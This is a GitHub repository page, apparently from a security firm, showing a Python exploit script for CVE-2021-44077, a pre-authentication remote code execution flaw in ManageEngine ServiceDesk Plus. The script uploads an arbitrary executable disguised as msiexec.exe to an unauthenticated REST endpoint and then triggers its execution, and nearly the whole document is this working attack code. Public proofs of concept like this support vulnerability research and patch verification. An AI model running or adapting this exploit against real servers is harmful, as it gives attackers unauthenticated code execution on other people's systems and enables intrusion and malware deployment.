horizon3ai / **CVE-2021-44077** Public

Notifications Fork 11 Star 30

Code Issues Pull requests Actions Projects Security Insights

**Files**

b7a48e2

Go to file

- .gitignore
- README.md
- exploit.py
- proof.png
- requirements.txt

CVE-2021-44077 / **exploit.py**

**naveen1729** commit 89b15be · 3 years ago History

Code Blame 56 lines (45 loc) · 1.96 KB Raw

```
import requests
from argparse import ArgumentParser
from os.path import exists
import sys
import traceback

def main():
    try:
        parser = ArgumentParser(description='Exploit CVE-2021-44077: Pre-Auth RCE in Ma
        parser.add_argument('url', help='base url of ManageEngine ServiceDesk Plus inst
        parser.add_argument('exe', help='Path to exe file to upload and execute')
        args = parser.parse_args()

        exe = args.exe
        url = args.url.lower()

        if not (url.startswith('http://') or url.startswith('https://')):
            print(f'[-] Not a valid url: {args.url}')
            sys.exit(1)

        if not exists(exe):
            print(f'[-] File {exe} does not exist')
            sys.exit(1)

        if not url.endswith('/'):
            url = url + '/'

        print(f'[+] Target: {url}')
        print(f'[+] Executable: {exe}')

        upload_url = f'{url}RestAPI/ImportTechnicians?step=1'
        print(f'[+] Uploading {exe} to {upload_url}')

        with open(exe, 'rb') as f:
            r = requests.post(upload_url, files = {'theFile': ('msiexec.exe', f) }, ver
            if r.status_code == 401:
                print(f'[+] Got 401 error code on upload. This is expected.')
            else:
                print(f'[-] Got unexpected error code on upload: {r.status_code}')

        execute_url = f'{url}./RestAPI/s247action'
        print(f'[+] Uploaded {exe}')
        print(f'[+] Attempting to invoke against url {execute_url}. Waiting up to 20 se
        r = requests.post(execute_url, data= {'execute':'s247AgentInstallationProcess'}
        print(f'[+] Done, did it work?')

    except Exception as e:
        if 'Read timed out' in str(e):
            print('[+] Done, did it work?')
        else:
            print(f'Unexpected error: {e}')
            traceback.print_exc()
            sys.exit(1)

if __name__ == '__main__':
    main()
```